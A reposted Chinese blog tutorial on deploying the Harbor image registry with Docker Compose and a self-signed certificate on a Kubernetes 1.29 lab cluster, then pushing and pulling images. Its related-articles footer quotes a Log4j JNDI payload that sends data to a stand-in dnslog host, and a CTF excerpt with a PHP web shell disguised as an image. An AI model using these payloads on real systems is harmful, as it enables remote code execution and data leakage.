云原生Kubernetes: K8S 1.29版本 部署Harbor

news2024/11/26 12:01:06

目录

一、实验

1.环境

2.Linux 部署docker compose

3.证书秘钥配置

4.K8S 1.29版本 部署Harbor

5.K8S 1.29版本 使用Harbor

二、问题

1.docker 登录harbor失败


一、实验

1.环境

(1)主机

表1 主机

主机架构版本IP备注
masterK8S master节点1.29.0192.168.204.8

node1K8S node节点1.29.0192.168.204.9
node2K8S node节点1.29.0192.168.204.10已部署Kuboard

(2)master节点查看集群

1)查看node
kubectl get node
 
2)查看node详细信息
kubectl get node -o wide
 

(3)查看pod

[root@master ~]# kubectl get pod -A

(4) 访问Kuboard

http://192.168.204.10:30080/kuboard/cluster

查看节点

(5)查看docker版本

docker -v

master节点

node1节点

node2节点

2.Linux 部署docker compose

(1) 查阅

https://github.com/docker/compose/releases

最新版为v2.27.0

(2) 下载

https://github.com/docker/compose/releases/download/v2.27.0/docker-compose-linux-x86_64

(3) 查看

[root@master ~]# ls | grep docker

(4)移动并更名为docker-compose

[root@master ~]# mv docker-compose-linux-x86_64 /usr/bin/docker-compose

(5)为二进制文件添加可执行权限

[root@master ~]# chmod +x /usr/bin/docker-compose

(6)查看docker-compse版本

[root@master ~]# docker-compose version

 3.证书秘钥配置

(1)确认openssl

[root@master harbor]# rpm -q openssl

(2)创建文件夹用于存放生成的证书秘钥文件

[root@master ~]# mkdir -p /harbor/certs/

(3) 生成私钥

[root@master ~]# openssl genrsa -out ca.key 4096

(4)证书秘钥与IP绑定

openssl req -x509 -new -nodes -sha512 -days 3650 \
 -subj "/C=CN/ST=Nanjing/L=Nanjing/O=example/OU=Personal/CN=192.168.204.8" \
 -key ca.key \
 -out ca.crt

(5)移动证书位置并查看

[root@master ~]# mv ca* /harbor/certs
[root@master ~]# ls /harbor/certs/

4.K8S 1.29版本 部署Harbor

(1) 查阅

https://github.com/goharbor/harbor/releases

最新版为v2.10.2

(2) 下载

https://github.com/goharbor/harbor/releases/download/v2.10.2/harbor-offline-installer-v2.10.2.tgz

(3)查看

[root@master ~]# ls | grep harbor

(4)解压

[root@master ~]# tar xf harbor-offline-installer-v2.10.2.tgz

(6)进入目录并查看

[root@master ~]# cd harbor/
[root@master harbor]# ls

(7) 修改名称

[root@master harbor]# mv harbor.yml.tmpl harbor.yml

(8)监听端口

8800与8443没有被占用

[root@master harbor]# netstat -antlp | grep 8800
[root@master harbor]# netstat -antlp | grep 8443

(9)修改配置文件

[root@master harbor]# vim harbor.yml 

hostname域名修改为要安装harbor的服务器的ip
http端口修改为8800
https端口修改为8443
certificate: 证书路径修改为/harbor/certs/ca.crt
private_key: 秘钥路径修改为/harbor/certs/ca.key
harbor_admin_password: 默认Harbor密码,不修改,就用默认的Harbor12345
data_value: 修改为/data/harbor

修改前:

修改后:

(10)Docker  Hub查看镜像

docker pull goharbor/prepare:v2.10.2

(11)拉取镜像

 node2

[root@node2 ~]# docker pull goharbor/prepare:v2.10.2

(12) 导出镜像

[root@node2 ~]# docker save -o prepare.tar goharbor/prepare:v2.10.2

(13)复制Docker镜像到master节点

[root@node2 ~]# scp prepare.tar root@master:~

(14)master节点导入Docker镜像

[root@master ~]# docker load -i prepare.tar 

(15)执行预备脚本

[root@master harbor]# ./prepare 

(16) 执行安装脚本

[root@master harbor]# ./install.sh 

[Step 0]: checking if docker is installed ...

Note: docker version: 24.0.7

[Step 1]: checking docker-compose is installed ...

Note: Docker Compose version v2.21.0

[Step 2]: loading Harbor images ...
a8840e4ae316: Loading layer [==================================================>]  21.63MB/21.63MB
515f0ee642d6: Loading layer [==================================================>]  173.8MB/173.8MB
7e1a15fa7f7c: Loading layer [==================================================>]   25.5MB/25.5MB
4cd39a5aa67d: Loading layer [==================================================>]  18.27MB/18.27MB
3daae6a42996: Loading layer [==================================================>]   5.12kB/5.12kB
e23a6fbc3acf: Loading layer [==================================================>]  6.144kB/6.144kB
87a67eef40a6: Loading layer [==================================================>]  3.072kB/3.072kB
5439373f0cf5: Loading layer [==================================================>]  2.048kB/2.048kB
44c50cb14a57: Loading layer [==================================================>]   2.56kB/2.56kB
e343431b8ac0: Loading layer [==================================================>]   7.68kB/7.68kB
Loaded image: goharbor/harbor-db:v2.10.2
a7437080fdff: Loading layer [==================================================>]  17.16MB/17.16MB
89c54c70338a: Loading layer [==================================================>]  3.584kB/3.584kB
927d190fe457: Loading layer [==================================================>]   2.56kB/2.56kB
dab52f006605: Loading layer [==================================================>]  44.92MB/44.92MB
abc8dcfeeb98: Loading layer [==================================================>]  45.71MB/45.71MB
Loaded image: goharbor/harbor-jobservice:v2.10.2
9343d1011e8e: Loading layer [==================================================>]  21.63MB/21.63MB
d8aa785c45d8: Loading layer [==================================================>]  110.6MB/110.6MB
af30438adf19: Loading layer [==================================================>]  3.072kB/3.072kB
046baf104eef: Loading layer [==================================================>]   59.9kB/59.9kB
b4bf035573f1: Loading layer [==================================================>]  61.95kB/61.95kB
Loaded image: goharbor/redis-photon:v2.10.2
1a53aa673223: Loading layer [==================================================>]  14.15MB/14.15MB
e3ef818740f3: Loading layer [==================================================>]  4.096kB/4.096kB
f51244ac7c03: Loading layer [==================================================>]  3.072kB/3.072kB
971632584e63: Loading layer [==================================================>]   17.4MB/17.4MB
0cfb29c07835: Loading layer [==================================================>]  18.19MB/18.19MB
Loaded image: goharbor/registry-photon:v2.10.2
9fb8de59ccbd: Loading layer [==================================================>]  130.9MB/130.9MB
b0a99212add7: Loading layer [==================================================>]  3.584kB/3.584kB
c63a00cfdba3: Loading layer [==================================================>]  3.072kB/3.072kB
ea1dbece5b3a: Loading layer [==================================================>]   2.56kB/2.56kB
3c735fb3805e: Loading layer [==================================================>]  3.072kB/3.072kB
1b257c0b8709: Loading layer [==================================================>]  3.584kB/3.584kB
6bb174e7db78: Loading layer [==================================================>]  20.48kB/20.48kB
Loaded image: goharbor/harbor-log:v2.10.2
ea9d3f5fbb0c: Loading layer [==================================================>]  121.2MB/121.2MB
b88bdbd268ea: Loading layer [==================================================>]  6.532MB/6.532MB
a6a0154f827a: Loading layer [==================================================>]  246.8kB/246.8kB
664d5baa31ef: Loading layer [==================================================>]  1.477MB/1.477MB
Loaded image: goharbor/harbor-portal:v2.10.2
fe6dfc816265: Loading layer [==================================================>]  17.16MB/17.16MB
c8d1d3bbdf04: Loading layer [==================================================>]  3.584kB/3.584kB
a95b761bfdbe: Loading layer [==================================================>]   2.56kB/2.56kB
c3c092020a00: Loading layer [==================================================>]  58.96MB/58.96MB
75c8aba5c8aa: Loading layer [==================================================>]  5.632kB/5.632kB
84bdcacb7f37: Loading layer [==================================================>]  123.4kB/123.4kB
c80d23d5cead: Loading layer [==================================================>]  80.38kB/80.38kB
fb9a83422043: Loading layer [==================================================>]  59.95MB/59.95MB
17416c18f4d3: Loading layer [==================================================>]   2.56kB/2.56kB
Loaded image: goharbor/harbor-core:v2.10.2
6a65c62b44a3: Loading layer [==================================================>]  14.15MB/14.15MB
50d4a017d046: Loading layer [==================================================>]  4.096kB/4.096kB
b00285e03979: Loading layer [==================================================>]   17.4MB/17.4MB
bd20c4f45bc4: Loading layer [==================================================>]  3.072kB/3.072kB
cdef8cae2c49: Loading layer [==================================================>]  32.77MB/32.77MB
8c8e4274f70f: Loading layer [==================================================>]  50.95MB/50.95MB
Loaded image: goharbor/harbor-registryctl:v2.10.2
acbecb34a764: Loading layer [==================================================>]  17.16MB/17.16MB
478163dbc994: Loading layer [==================================================>]  27.56MB/27.56MB
4ec3465523a2: Loading layer [==================================================>]  4.608kB/4.608kB
07fb78bc4c52: Loading layer [==================================================>]  28.35MB/28.35MB
Loaded image: goharbor/harbor-exporter:v2.10.2
113051e862a0: Loading layer [==================================================>]  121.2MB/121.2MB
Loaded image: goharbor/nginx-photon:v2.10.2
2716f555462f: Loading layer [==================================================>]  14.67MB/14.67MB
d4471d1781eb: Loading layer [==================================================>]  4.096kB/4.096kB
2b9cfa166f1f: Loading layer [==================================================>]  3.072kB/3.072kB
4943bbb50494: Loading layer [==================================================>]  209.9MB/209.9MB
1f70ad7459fb: Loading layer [==================================================>]  17.45MB/17.45MB
c6de541f3b98: Loading layer [==================================================>]  228.1MB/228.1MB
Loaded image: goharbor/trivy-adapter-photon:v2.10.2
Loaded image: goharbor/prepare:v2.10.2


[Step 3]: preparing environment ...

[Step 4]: preparing harbor configs ...
prepare base dir is set to /root/harbor
Clearing the configuration file: /config/portal/nginx.conf
Clearing the configuration file: /config/log/logrotate.conf
Clearing the configuration file: /config/log/rsyslog_docker.conf
Clearing the configuration file: /config/nginx/nginx.conf
Clearing the configuration file: /config/core/env
Clearing the configuration file: /config/core/app.conf
Clearing the configuration file: /config/registry/passwd
Clearing the configuration file: /config/registry/config.yml
Clearing the configuration file: /config/registryctl/env
Clearing the configuration file: /config/registryctl/config.yml
Clearing the configuration file: /config/db/env
Clearing the configuration file: /config/jobservice/env
Clearing the configuration file: /config/jobservice/config.yml
Generated configuration file: /config/portal/nginx.conf
Generated configuration file: /config/log/logrotate.conf
Generated configuration file: /config/log/rsyslog_docker.conf
Generated configuration file: /config/nginx/nginx.conf
Generated configuration file: /config/core/env
Generated configuration file: /config/core/app.conf
Generated configuration file: /config/registry/config.yml
Generated configuration file: /config/registryctl/env
Generated configuration file: /config/registryctl/config.yml
Generated configuration file: /config/db/env
Generated configuration file: /config/jobservice/env
Generated configuration file: /config/jobservice/config.yml
loaded secret from file: /data/secret/keys/secretkey
Generated configuration file: /compose_location/docker-compose.yml
Clean up the input dir


Note: stopping existing Harbor instance ...


[Step 5]: starting Harbor ...
[+] Running 10/10
 ✔ Network harbor_harbor        Created                                                                                                                                      0.1s 
 ✔ Container harbor-log         Started                                                                                                                                      0.0s 
 ✔ Container registry           Started                                                                                                                                      0.1s 
 ✔ Container registryctl        Started                                                                                                                                      0.1s 
 ✔ Container harbor-portal      Started                                                                                                                                      0.1s 
 ✔ Container harbor-db          Started                                                                                                                                      0.1s 
 ✔ Container redis              Started                                                                                                                                      0.1s 
 ✔ Container harbor-core        Started                                                                                                                                      0.0s 
 ✔ Container nginx              Started                                                                                                                                      0.0s 
 ✔ Container harbor-jobservice  Started                                                                                                                                      0.0s 
✔ ----Harbor has been installed and started successfully.----

(17) 查看harbor相关容器

[root@master harbor]# docker ps | grep  goharbor

(18)docker-compose命令显示其管理的harbor容器

[root@master harbor]# docker-compose -f docker-compose.yml ps

(19)访问harbor

https://192.168.204.8:8443/

选高级

继续访问

弹出界面

(20)登录

账号:admin
密码:Harbor12345

成功进入系统

5. K8S 1.29版本 使用Harbor

(1) 创建私有项目

(2) 查看

目前项目为空

(3) 创建公开项目

(4)再次查看

目前项目为空

(5)Docker配置Harbor(所有节点)

1)修改
vim /etc/docker/daemon.json
……
 "insecure-registries": ["https://192.168.204.8:8443"]
……

2)重新加载配置
systemctl daemon-reload

3)重启服务
systemctl restart docker

systemctl restart cri-docker

修改前:

修改后:

这里以node1节点为例

[root@node1 ~]# systemctl status cri-docker

(6)docker 登录harbor并推送镜像到公开项目

node1节点

[root@node1 ~]# docker login 192.168.204.8:8443 -u admin -p Harbor12345

拉取镜像

打标签

[root@node1 ~]# docker tag alpine:latest 192.168.204.8:8443/devops02/alpine:20240502

推送镜像到公开项目

[root@node1 ~]# docker push 192.168.204.8:8443/devops02/alpine:20240502

查看

删除本地镜像

[root@node1 ~]# docker rmi -f 192.168.204.8:8443/devops02/alpine:20240502

拉取harbor仓库的镜像

[root@node1 ~]# docker pull 192.168.204.8:8443/devops02/alpine:20240502

(7)docker 登录harbor并推送镜像到私有项目

打标签

[root@node1 ~]# docker tag alpine:latest 192.168.204.8:8443/devops01/alpine:20240502

推送镜像到私有项目

[root@node1 ~]# docker push 192.168.204.8:8443/devops01/alpine:20240502

查看

删除本地镜像

[root@node1 ~]# docker rmi -f 192.168.204.8:8443/devops01/alpine:20240502

拉取harbor仓库的镜像

[root@node1 ~]# docker pull 192.168.204.8:8443/devops01/alpine:20240502

(8) 登出账号

[root@node1 ~]# docker logout 192.168.204.8

(9)其他方式的harbor部署

可以参考本人博客:

Docker容器与虚拟化技术:Harbor私有仓库部署与迁移-CSDN博客

云原生Kubernetes:K8S集群使用带凭证的harbor仓库-CSDN博客

二、问题

1.docker 登录harbor失败

(1)报错

Error response from daemon: Get "https://192.168.204.8:8443/v2/": tls: failed to verify certificate: x509: certificate relies on legacy Common Name field, use SANs instead

(2)原因分析

未重启docker。

(3)解决方法

重启docker:

[root@node1 ~]# systemctl restart docker

成功:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1639439.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用CNN或resnet,分别在flower5,flower17,flower102数据集上实现花朵识别分类-附源码-免费

前言 使用cnn和resnet实现了对flower5,flower17,flower102数据集上实现花朵识别分类。也就是6份代码,全部在Gitee仓库里,记得点个start支持谢谢。 本文给出flower17在cnn网络实现,flower102在resnet网络实现的代码。…

BJFUOJ-C++程序设计-实验3-继承和虚函数

A TableTennisPlayer 答案&#xff1a; #include<iostream> #include<cstring> using namespace std;class TableTennisPlayer{ private:string firstname;string lastname;bool hasTable;public:TableTennisPlayer(const string &, const string &, bool…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

docker 指定根目录 迁移根目录

docker 指定根目录 1、问题描述2、问题分析3、解决方法3.1、启动docker程序前就手动指定docker根目录为一个大的分区(支持动态扩容)&#xff0c;事前就根本上解决根目录空间不够问题3.1.0、方法思路3.1.1、docker官网安装文档3.1.2、下载docker安装包3.1.3、安装docker 26.1.03…

JavaEE >> Spring MVC(2)

接上文 本文介绍如何使用 Spring Boot/MVC 项目将程序执行业务逻辑之后的结果返回给用户&#xff0c;以及一些相关内容进行分析解释。 返回静态页面 要返回一个静态页面&#xff0c;首先需要在 resource 中的 static 目录下面创建一个静态页面&#xff0c;下面将创建一个静态…

[1673]jsp在线考试管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 在线考试管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql5.0&…

[MRCTF2020]你传你呢 1

上传一个文件 图片木马 新建一个图片木马&#xff0c;这里我命名为a.php&#xff0c;名字需和待会上传的.htaccess一致 GIF89a <script languagephp>eval($_REQUEST["cmd"])</script>抓包上传的a.php文件&#xff0c;修改两个地方 新建一个.htacces…

Neo4j v5 中 Cypher 的变化

How Cypher changed in Neo4j v5 Neo4j v5 中 Cypher 的变化 几周前&#xff0c;Neo4j 5 发布了。如果你像我一样&#xff0c;在 Neo4j 4 的后期版本中忽略了所有的弃用警告&#xff0c;你可能需要更新你的 Cypher 查询以适应最新版本的 Neo4j。幸运的是&#xff0c;新的 Cyp…

confluence 设置https代理

使用nginx反待confluence并开启https后&#xff0c;登录confluence会一直提示&#xff1a;scheme、proxyName、proxyPort设置错误。 解决办法&#xff1a; find / -name server.xmlvi /opt/atlassian/confluence/conf/server.xml HTTP反代配置 HTTPS反代配置

小程序地理位置接口权限直接抄作业

小程序地理位置接口有什么功能&#xff1f; 随着小程序生态的发展&#xff0c;越来越多的小程序开发者会通过官方提供的自带接口来给用户提供便捷的服务。但是当涉及到地理位置接口时&#xff0c;却经常遇到申请驳回的问题&#xff0c;反复修改也无法通过&#xff0c;给的理由也…

【大模型应用】使用 Windows 窗体作为 Copilot 应用程序的 Ollama AI 前端(测试llava视觉问答)...

项目 “WinForm_Ollama_Copilot” 是一个使用Windows Forms作为前端的Ollama AI Copilot应用程序。这个项目的目的是提供一个用户界面(UI)&#xff0c;通过它&#xff0c;用户可以与Ollama AI进行交互。以下是该项目的一些关键特点和功能&#xff1a; Ollama Copilot: 这是一个…

[方法] Unity 实现仿《原神》第三人称跟随相机 v1.0

参考网址&#xff1a;【Unity中文课堂】RPG战斗系统Plus 在Unity游戏引擎中&#xff0c;实现类似《原神》的第三人称跟随相机并非易事&#xff0c;但幸运的是&#xff0c;Unity为我们提供了强大的工具集&#xff0c;其中Cinemachine插件便是实现这一目标的重要工具。Cinemachi…

Rust Turbofish 的由来

0x01 什么是 Turbofish 我们运行如下 Rust Snippet&#xff1a; fn main() {let numbers: Vec<i32> vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];let even_numbers numbers.into_iter().filter(|n| n % 2 0).collect();println!("{:?}", even_numbers); }不出意…

什么是UDP反射放大攻击,有什么安全措施可以防护UDP攻击

随着互联网的飞速发展和业务复杂性的提升&#xff0c;网络安全问题日益凸显&#xff0c;其中分布式拒绝服务&#xff08;DDoS&#xff09;攻击成为危害最为严重的一类网络威胁之一。 近些年&#xff0c;网络攻击越来越频繁&#xff0c;常见的网络攻击类型包括&#xff1a;蠕虫…

TS学习-泛型基础

目录 1&#xff0c;介绍1&#xff0c;在函数中使用2&#xff0c;在类型别名&#xff0c;接口中使用3&#xff0c;在类中使用 2&#xff0c;泛型约束3&#xff0c;多泛型4&#xff0c;举例实现 Map 1&#xff0c;介绍 泛型相当于是一个类型变量&#xff0c;有时无法预先知道具体…

【每日刷题】Day30

【每日刷题】Day30 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 牛牛的链表添加节点_牛客题霸_牛客网 (nowcoder.com) 2. 牛牛的链表删除_牛客题霸_牛客网 (nowcoder…

Django整合多种认证方式

承接上一篇&#xff1a;Django知识点总结-CSDN博客 目录 25.使用 Django REST framework实现用户认证和授权 26.通过djangorestframework-simplejwt使用JWT(JSON Web Token) 27.使用django-auth-ldap进行用户认证 28. 使用django-cas-ng实现集中认证及实现单点登录 29. …

c# winform快速建websocket服务器源码 wpf快速搭建websocket服务 c#简单建立websocket服务 websocket快速搭建

完整源码下载----->点击 随着互联网技术的飞速发展&#xff0c;实时交互和数据推送已成为众多应用的核心需求。传统的HTTP协议&#xff0c;基于请求-响应模型&#xff0c;无法满足现代Web应用对低延迟、双向通信的高标准要求。在此背景下&#xff0c;WebSocket协议应运而生…

C++函数重载之类型引用和类型本身

在C中&#xff0c;当我们讨论类型引用&#xff08;也称为引用类型&#xff09;与类型本身被视为“同一个特征标”&#xff08;signature&#xff09;时&#xff0c;我们实际上是在讨论引用类型在函数重载解析&#xff08;function overload resolution&#xff09;和模板参数推…

Github 2024-05-02 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-05-02统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10PureBasic项目1Kubernetes: 容器化应用程序管理系统 创建周期:3618 天开发语言:Go协议类型:Apache License 2.0Star数量:106913 个…